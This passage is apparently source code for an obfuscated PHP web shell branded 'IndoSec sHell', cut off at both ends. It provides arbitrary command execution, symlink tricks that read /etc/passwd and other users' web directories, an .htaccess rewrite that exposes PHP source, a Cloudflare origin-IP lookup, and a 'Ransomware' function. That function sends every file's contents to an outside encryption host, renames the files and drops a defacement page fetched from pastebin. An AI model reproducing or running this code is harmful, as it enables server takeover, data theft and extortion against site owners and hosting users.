\x9\x9\x9</thead>"; goto t8kpS; ZS82Z: } else { $TEST = @file("/etc/passwd"); if ($TEST) { goto SkQm3; kQ5lv: $fp3 = fopen(".htaccess", "w"); goto HVvCD; IrBu3: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr> 
		\x9	\x9\x9<td>" . $dcount . "</td>\xd 
\x9	\x9	\x9\x9<td>" . $matches . "</td> 
\xa	\x9	\x9\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd\xa	\x9		\x9</tr>"; $dcount++; } goto w_6tO; SkQm3: @mkdir("indosec_sym", 0777); goto TuC0e; OzvZ2: echo "</table></div>"; goto krRwm; TuC0e: @chdir("indosec_sym"); goto NxnUF; NOfnQ: $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); goto IrBu3; NxnUF: @exe("ln -s / root"); goto c0Oxw; HVvCD: $fw3 = fwrite($fp3, $file3); goto oKE8D; c0Oxw: $file3 = "Options Indexes FollowSymLinks\xd\xa\x9\x9\x9DirectoryIndex indsc.html 
\x9\x9\x9AddType text/plain php html php5 phtml\xd\xa\x9		AddHandler text/plain php html php5 phtml 
\xa	\x9	Satisfy Any"; goto kQ5lv; w_6tO: fclose($file); goto OzvZ2; zOH7L: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ] 
			<div class='tmp'> 
\xa\x9\x9\x9<table class='text-center table-responsive'>\xd\xa\x9	\x9\x9<thead class='bg-warning'> 
\xa	\x9\x9		<th>No.</th>\xd\xa\x9	\x9\x9\x9<th>Users</th> 
		\x9	\x9<th>symlink </th> 
\xa\x9\x9	\x9</thead>"; goto m_bGY; oKE8D: @fclose($fp3); goto zOH7L; m_bGY: $dcount = 1; goto NOfnQ; krRwm: } else { if ($os != "Windows") { goto VJN0d; wC2zW: @exe("ln -s / root"); goto vMH9h; ZddQq: echo "<br/>"; goto Babxs; R0g51: $file = fopen("test.txt", "r") or exit("Unable to open file!"); goto jG9tT; UotEu: $fw3 = fwrite($fp3, $file3); goto OdCkx; l3hg6: echo "</table></div>"; goto KI5qs; Z24Xf: @chdir("indosec_sym"); goto wC2zW; KI5qs: unlink("test.txt"); goto HGlqQ; Babxs: $temp = trim($temp); goto UVHiV; UVHiV: $file5 = fopen("test.txt", "w"); goto BX62G; GsrFS: $dcount = 1; goto R0g51; AIbFP: $val1 = 0; goto JDDeM; HpzHM: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]\xd 
\x9		<div class='tmp'><table class='text-center table-responsive'> 
	\x9\x9\x9<thead class='bg-danger'>\xd 
\x9				<th>ID.</th> 
\xa\x9			\x9<th>Users</th>\xd\xa\x9	\x9		<th>symlink </th>\xd 
\x9			</thead>"; goto K8HtK; CeWbZ: fclose($file5); goto GsrFS; OdCkx: @fclose($fp3); goto HpzHM; jG9tT: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr> 
\xa					\x9<td>" . $dcount . "</td> 
	\x9\x9		\x9<td>" . $matches . "</td> 
\x9	\x9	\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd 
				\x9</tr>"; $dcount++; } goto bs4q6; BX62G: fputs($file5, $temp); goto CeWbZ; bs4q6: fclose($file); goto l3hg6; K8HtK: $temp = ''; goto AIbFP; qqe7X: $fp3 = fopen(".htaccess", "w"); goto UotEu; ljw2k: for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join(":", $uid) . "\xa"; } } goto ZddQq; VJN0d: @mkdir("indosec_sym", 0777); goto Z24Xf; vMH9h: $file3 = "Options Indexes FollowSymLinks 
	\x9	DirectoryIndex indsc.html\xd\xa\x9	\x9AddType text/plain php html php5 phtml\xd 
		\x9AddHandler text/plain php html php5 phtml 
\xa\x9\x9\x9Satisfy Any"; goto qqe7X; JDDeM: $val2 = 1000; goto ljw2k; HGlqQ: } } } goto QOvt9; QOvt9: exit; goto MYT2T; s9XUh: if (!$d0mains) { die("[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca  /etc/named.conf</font><br/><br/>"); } goto wOjzZ; MYT2T: } goto WLipb; d6UQd: @ini_set("log_errors", 0); goto b023T; CxhHz: $ver = phpversion(); goto Ps3EX; hxcvI: echo "<html>\xd\xa\x9<head> 
\xa	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1"/> 
\x9\x9<meta name="theme-color" content="#343a40"/>\xd\xa	\x9<meta name="author" content="Holiq"/> 
	\x9<meta name="copyright" content="{ IndoSec }"/>\xd\xa		<title>{ IndoSec sHell }</title> 
\xa	\x9<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> 
	\x9<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/> 
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>\xd\xa		<script src="https://code.jquery.com/jquery-3.3.1.js"></script> 
\x9\x9<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>\xd\xa		<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script> 
\xa\x9</head> 
\xa\x9<body class="bg-dark text-light">\xd 
\x9	<script> 
\x9		$(document).ready(function(){\xd 
	\x9\x9	$(window).scroll(function(){ 
\xa					if ($(this).scrollTop() > 700){\xd\xa			\x9		$(".scrollToTop").fadeIn(); 
\xa	\x9	\x9	}else{\xd\xa	\x9	\x9\x9\x9$(".scrollToTop").fadeOut(); 
	\x9	\x9	} 
\xa\x9	\x9\x9}); 
\xa\x9			$(".scrollToTop").click(function(){ 
	\x9\x9\x9\x9$("html, body").animate({scrollTop : 0},1000); 
\xa\x9	\x9\x9	return false; 
\x9\x9\x9	});\xd 
	\x9	}); 
\xa\x9		$(document).ready(function(){ 
\xa\x9	\x9	$('input[type="file"]').on("change", function(){ 
		\x9	\x9let filenames = []; 
\xa	\x9\x9		let files = document.getElementById("customFile").files; 
\xa		\x9	\x9if (files.length > 1){\xd 
\x9\x9\x9	\x9	filenames.push("Total Files (" + files.length + ")"); 
	\x9\x9\x9\x9}else{\xd 
	\x9				for (let i in files){ 
\xa			\x9\x9		if (files.hasOwnProperty(i)){ 
\xa	\x9\x9\x9				filenames.push(files[i].name);\xd\xa			\x9			} 
\x9	\x9\x9\x9\x9} 
\xa\x9\x9\x9\x9	}\xd 
\x9	\x9	\x9$(this).next(".custom-file-label").html(filenames.join(",")); 
\xa\x9	\x9	});\xd\xa\x9\x9\x9});\xd 
\x9\x9\x9var max_fields = 5; 
\xa	\x9\x9var x = 1;\xd 
\x9		$(document).on('click', '#add_input', function(e){\xd\xa			\x9if(x < max_fields){\xd\xa\x9\x9	\x9\x9x++; 
\x9\x9\x9\x9	$('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');\xd 
	\x9\x9\x9}\xd 
\x9\x9\x9\x9$('#output').on("click",".remove", function(e){ 
\xa\x9	\x9\x9\x9e.preventDefault(); $(this).parent('#out').remove(); x--; 
\xa			\x9\x9repeat();\xd\xa\x9\x9	\x9}) 
\x9\x9	}); 
\x9		$(document).on('click', '#add_input1', function(e){\xd\xa\x9			if(x < max_fields){\xd\xa\x9	\x9	\x9x++; 
\xa\x9			\x9$('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>'); 
	\x9	\x9} 
	\x9	\x9$('#output1').on("click",".remove", function(e){ 
\xa			\x9	e.preventDefault(); $(this).parent('#out').remove(); x--; 
\xa			\x9	repeat();\xd\xa\x9\x9\x9\x9}) 
	\x9	});\xd 
	\x9\x9\xd\xa\x9\x9</script>\xd\xa\x9	<style> 
\xa\x9\x9	@import url(https://fonts.googleapis.com/css?family=Lato); 
		\x9@import url(https://fonts.googleapis.com/css?family=Quicksand); 
			@import url(https://fonts.googleapis.com/css?family=Inconsolata);\xd 
	\x9	@media(min-width:767px){.scrollToTop{display:none !important;}} 
\xa			@media(max-width:767px){textarea{font-size:13px !important;}}\xd 
	\x9\x9input[type="text"],textarea {font-family: "Inconsolata", monospace;} 
\xa			body{margin:0;padding:0;font-family:"Lato";overscroll-behavior:none;}\xd 
\x9	\x9.infor{font-size:14px;color:#333!important;}\xd 
	\x9\x9.ds{color:#f00!important;word-wrap:break-word;}\xd 
\x9		#tab table thead th{padding:5px;font-size:16px;white-space: nowrap;}\xd 
\x9\x9\x9#tab tr {border-bottom:1px solid #ccc;}\xd 
\x9	\x9#tab tr:hover{background:#5B6F7D;color:#fff;}\xd\xa			#tab tr td{padding:5px 10px;white-space:nowrap;}\xd 
\x9\x9	.pinggir{text-align:left !important; padding-left: 4px !important;} 
\xa		\x9#tab tr td .badge{font-size:13px;}\xd\xa\x9\x9	.active,.active:hover{color:#00FF00;} 
\xa\x9\x9\x9a {font-family:"Quicksand"; color:white;} 
\xa	\x9\x9a:hover{color:dodgerBlue;} 
\x9\x9\x9.badge{width:30px;transition:.3s;} 
\xa		\x9.badge:hover{transform: scale(1.1);transition:.3s;} 
\x9\x9\x9.ico {width:25px;} 
\xa	\x9\x9.ico2{width:30px;} 
\xa\x9	\x9.scrollToTop{\xd 
	\x9\x9\x9position:fixed; 
\xa		\x9\x9bottom:30px; 
\xa\x9\x9\x9	right:30px;\xd 
\x9		\x9width:35px;\xd 
\x9		\x9height:35px; 
\xa				background:#262626; 
	\x9\x9	color:#fff;\xd\xa		\x9\x9border-radius:15%;\xd 
		\x9	text-align:center; 
\xa				opacity:.5; 
\xa\x9\x9\x9}\xd 
\x9	\x9.scrollToTop:hover{color:#fff;}\xd\xa\x9\x9\x9.up{font-size:25px;line-height:35px;}\xd 
	\x9\x9.lain{color:#888888;font-size:20px;margin-left:5px;top:1px;}\xd 
			.lain:hover{color:#fff;} 
	\x9\x9.tambah{\xd\xa		\x9\x9width:35px; 
\xa\x9\x9\x9\x9height:35px;\xd 
	\x9		line-height:35px; 
\x9\x9		border:1px solid; 
\xa	\x9\x9	border-radius:50%; 
			\x9text-align:center; 
\xa	\x9	} 
\x9\x9\x9.fiture{margin:3px;} 
\xa\x9\x9\x9.tmp th {font-size:14px;}\xd 
\x9	\x9.tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;}\xd 
	\x9	.tmp tr:hover{background:#5B6F7D; color:#fff;} 
\xa		\x9.about{color:#000;} 
\xa\x9		.about .card-body .img{\xd 
\x9	\x9	position: relative;\xd 
\x9	\x9\x9background: url(https://i.postimg.cc/Wb1X4xNS/image.png); 
				background-size: cover;\xd 
\x9		\x9width: 150px; 
\xa\x9\x9	\x9height: 150px;\xd 
	\x9\x9} 
\xa		\x9.butn { 
\x9	\x9\x9position: relative;\xd\xa		\x9\x9text-align: center; 
		\x9\x9padding: 3px;\xd 
\x9\x9		background:rgba(225,225,225,.3);\xd\xa	\x9		-webkit-transition: background 300ms ease, color 300ms ease;\xd 
\x9	\x9\x9transition: background 300ms ease, color 300ms ease;\xd\xa			}\xd 
	\x9	input[type="radio"].toggle {display:none;}\xd\xa\x9		input[type="radio"].toggle + label {cursor:pointer;margin:0 2px;width:60px;} 
	\x9	input[type="radio"].toggle + label:after {\xd 
	\x9\x9	position: absolute; 
\xa\x9		\x9content: "";\xd 
	\x9\x9\x9top: 0; 
	\x9	\x9background: #fff; 
\xa\x9			height: 100%; 
\xa\x9\x9		width: 100%;\xd 
\x9\x9		z-index: -1;\xd 
	\x9\x9	-webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1); 
\x9\x9\x9\x9transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\xd 
\x9\x9\x9} 
\xa	\x9	input[type="radio"].toggle.toggle-left + label:after {left:100%;}\xd 
	\x9	input[type="radio"].toggle.toggle-right + label {margin-left:-5px;}\xd\xa\x9\x9\x9input[type="radio"].toggle.toggle-right + label:after {left:-100%;}\xd\xa\x9		input[type="radio"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;}\xd 
\x9	\x9input[type="radio"].toggle:checked + label:after {left:0;} 
\x9\x9</style>\xd\xa	\x9<nav class="navbar static-top navbar-dark"> 
\xa\x9\x9	<button class="navbar-toggler"type="button" data-toggle="collapse" data-target="#info" aria-label="Toggle navigation">\xd\xa				<i style="color:#fff;" class="fa fa-navicon"></i> 
\x9		</button>\xd\xa\x9	\x9<div class="collapse navbar-collapse" id="info"> 
\xa\x9	\x9\x9<ul> 
\x9			\x9<a href="https://facebook.com/IndoSecOfficial" class="lain"><i class="fa fa-facebook tambah"></i></a>\xd 
\x9\x9			<a href="https://www.instagram.com/indosec.id" class="lain"><i class="fa fa-instagram tambah"></i></a> 
\xa\x9	\x9\x9	<a href="https://www.youtube.com/IndoSec" class="lain"><i class="fa fa-youtube-play tambah"></i></a>\xd 
		\x9\x9\x9<a href="https://github.com/indosecid" class="lain"><i class="fa fa-github tambah"></i></a> 
\xa\x9\x9\x9\x9	<a href="https://indosec.web.id" class="lain"><i class="fa fa-globe tambah"></i></a> 
\x9\x9\x9\x9</ul>\xd 
	\x9\x9</div>\xd 
\x9	</nav> 
\xa	\x9"; goto lIdeL; ZW7rE: $default_use_ajax = true; goto nTsOG; PlgOz: if ($_GET["aksi"] == "bctools") { bcTool($dir, $file); } goto gBjsA; bMmbo: function hapusFile($dir, $file, $nfile) { goto G4y4B; G4y4B: echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ]  [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ]  [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ]  [ <a class="active" href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; goto ga3xo; W4Z2H: if ($_POST["ya"]) { if (unlink($file)) { goto H1iJ8; H1iJ8: $swa = "success"; goto wWvMI; wWvMI: $text = "Berhasil Menghapus File"; goto dz3Pd; dz3Pd: swall($swa, $text, $dir); goto EswTe; EswTe: } else { goto cYI9y; SeJcT: swall($swa, $text, $dir); goto ecjX_; MtF9r: $text = "Gagal Menghapus File"; goto SeJcT; cYI9y: $swa = "error"; goto MtF9r; ecjX_: } } goto vF6nu; ga3xo: echo "<div class='card card-body text-center text-dark mb-4'> 
\x9\x9<p>Yakin Menghapus : {$nfile}</p>\xd 
\x9\x9<form method='POST'> 
\xa\x9\x9	<a class='btn btn-danger btn-block' href='?dir={$dir}'>Tidak</a> 
	\x9\x9<input type='submit' name='ya' class='btn btn-success btn-success btn-block' value='Ya'>\xd\xa	\x9</form>\xd 
	</div>"; goto W4Z2H; vF6nu: } goto VrQx0; RZJj2: function r($dir, $perm) { if (!is_readable($dir)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } goto eUJ9r; pSA_Z: $total = disk_total_space($dir); goto ZxAyc; dr5yf: @ini_set("display_errors", 0); goto wJqsn; eUJ9r: function exe($cmd) { if (function_exists("system")) { goto Uw3BZ; FFzj6: @ob_end_clean(); goto swOFy; coJX9: $buff = @ob_get_contents(); goto FFzj6; Uw3BZ: @ob_start(); goto U2yNP; U2yNP: @system($cmd); goto coJX9; swOFy: return $buff; goto jN0g9; jN0g9: } elseif (function_exists("exec")) { goto BEVpL; BEVpL: @exec($cmd, $results); goto P3N9U; P3N9U: $buff = ''; goto YBK20; Z2P3_: return $buff; goto YkBWl; YBK20: foreach ($results as $result) { $buff .= $result; } goto Z2P3_; YkBWl: } elseif (function_exists("passthru")) { goto KgjmF; E9L7P: @passthru($cmd); goto uT4Ek; iGD9M: return $buff; goto tKMl6; oH9gV: @ob_end_clean(); goto iGD9M; KgjmF: @ob_start(); goto E9L7P; uT4Ek: $buff = @ob_get_contents(); goto oH9gV; tKMl6: } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto SVbJ1; dMaf5: function bypasscf() { goto ax0z1; JxgRK: if ($_POST["idsPilih"] == "cpanel") { $cpanel = gethostbyname("cpanel." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct  
\xa		ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$cpanel}</font></p>"; } goto qz4Z1; G2qql: if ($_POST["idsPilih"] == "direct-conntect") { $direct = gethostbyname("direct-connect." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct  
\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$direct}</font></p>"; } goto IRf19; qz4Z1: exit; goto J5G0b; IRf19: if ($_POST["idsPilih"] == "webmail") { $web = gethostbyname("webmail." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9	ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$web}</font></p>"; } goto JxgRK; bBct5: $target = $_POST["target"]; goto uf8eS; uf8eS: if ($_POST["idsPilih"] == "ftp") { $ftp = gethostbyname("ftp." . "{$target}"); echo "<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xd\xa\x9\x9ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$ftp}</font></p>"; } goto G2qql; ax0z1: echo "<form method="POST">\xd 
		<h5 class="text-center mb-3">Bypass Cloud Flare</h5>\xd\xa\x9	<div class="form-group input-group"> 
\xa	\x9	<select class="form-control" name="idsPilih"> 
\xa\x9	\x9\x9<option>Pilih Metode</option> 
\x9			<option>ftp</option> 
\xa\x9			<option>direct-conntect</option>\xd 
\x9	\x9	<option>webmail</option> 
\xa\x9\x9	\x9<option>cpanel</option> 
\xa\x9\x9\x9</select>\xd\xa\x9	</div> 
	\x9<div class="form-group input-group mb-4">\xd 
\x9\x9\x9<input class="form-control" type="text" name="target" placeholder="Masukan Url"> 
\xa\x9	\x9<input class="btn btn-danger form-control" type="submit" value="Bypass"> 
\xa	\x9</div> 
\x9</form>"; goto bBct5; J5G0b: } goto pxxCU; Ejk2k: if ($_GET["aksi"] == "masdel") { aksiMasdel($dir, $file, $imgfol, $imgfile); } goto vs3BQ; vs3BQ: if ($_GET["aksi"] == "jumping") { aksiJump($dir, $file, $ip); } goto A3jfK; ZQ018: session_start(); goto Yfk60; QId2Q: if ($_GET["aksi"] == "view") { view($dir, $file, $nfile, $imgfile); } goto S0OC8; Q1kC3: function ransom($dir, $file) { if (isset($_POST["encrypt"])) { goto bVdqf; FgDKO: echo "<textarea class='form-control mb-4' rows='13' disabled=''>"; goto NxVVJ; yg1Cu: echo "</textarea><br/>"; goto Hycs9; bVdqf: $dir = $_POST["path"]; goto FgDKO; NxVVJ: function listFolderFiles($dir) { if (is_dir($dir)) { goto fPsMD; L1ZUX: $index = file_get_contents("https://pastebin.com/raw/aGZ6BeTH"); goto T3bF4; gAkoR: if (count($ffs) < 1) { return; } goto RJiYZ; RJiYZ: foreach ($ffs as $ff) { goto c2_Yt; zHj3f: if (!is_dir($files)) { goto HT3sr; Kxrp0: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto NW4cD; NW4cD: curl_setopt($ch, CURLOPT_POSTFIELDS, "text={$_a}"); goto DeEdg; HT3sr: $file = file_get_contents($files); goto iF7VE; qFHCv: curl_setopt($ch, CURLOPT_URL, "http://encrypt.indsc.me/api.php?type=encrypt"); goto Kxrp0; DeEdg: $x = json_decode(curl_exec($ch)); goto gH630; aKrdv: $ch = curl_init(); goto qFHCv; gH630: if ($x->status == "success") { goto ZmsLI; gXfz0: rename($files, $files . ".indsc"); goto Drjtn; ZmsLI: $_enc = base64_decode($x->data); goto gXfz0; Drjtn: echo "[+]{$files} => Success Encrypted\xa"; goto vtSeE; vtSeE: } goto Zd09O; iF7VE: $_a = base64_encode($file); goto aKrdv; Zd09O: } goto n9mCq; c2_Yt: $files = $dir . "/" . $ff; goto zHj3f; n9mCq: if (is_dir($dir . "/" . $ff)) { listFolderFiles($dir . "/" . $ff); } goto IbFg6; IbFg6: } goto L1ZUX; Trmq9: unset($ffs[array_search("..", $ffs, true)]); goto gAkoR; fPsMD: $ffs = scandir($dir); goto RX10x; nHBQR: echo " 
[+] Done !"; goto acDXe; T3bF4: $_o = fopen($dir . "/index.html", "w"); goto TCnYJ; TCnYJ: fwrite($_o, $index); goto Fa_MB; RX10x: unset($ffs[array_search(".", $ffs, true)]); goto Trmq9; Fa_MB: fclose($_o); goto nHBQR; acDXe: } else { echo "\xaBukan dir"; } } goto hIdiM; hIdiM: listFolderFiles($dir); goto yg1Cu; Hycs9: } else { echo "<form method="post"> 
\x9	\x9<div class="form-group">\xd 
	\x9\x9	<h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4> 
\x9\x9\x9\x9<label>Pilih Directory :</label> 
\xa\x9\x9\x9	<div class="form-group input-group">\xd 
\x9				<div class="input-group-prepend"> 
\xa\x9	\x9	\x9\x9<div class="input-group-text"><i class="fa fa-home"></i></div>\xd\xa				\x9</div>\xd 
\x9		\x9	<input type="text" name="path" class="form-control" value="" . $dir . ""/>\xd\xa		\x9\x9</div> 
\xa\x9			<input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/>\xd\xa			</div>\xd\xa		</form>"; } exit; } goto CaV21; Il_fQ: $path = str_replace("\", "/", $path); goto hn1q4; ZCeW1: function w($dir, $perm) { if (!is_writable($dir)) { return "<font color='red'>" . $perm . "</font>"; } else { return "<font color='lime'>" . $perm . "</font>"; } } goto RZJj2; hWdMx: if (isset($_GET["about"])) { about(); } goto ML2sV; GGZ6U: $imgfile = "<img src='data:image/png;base64,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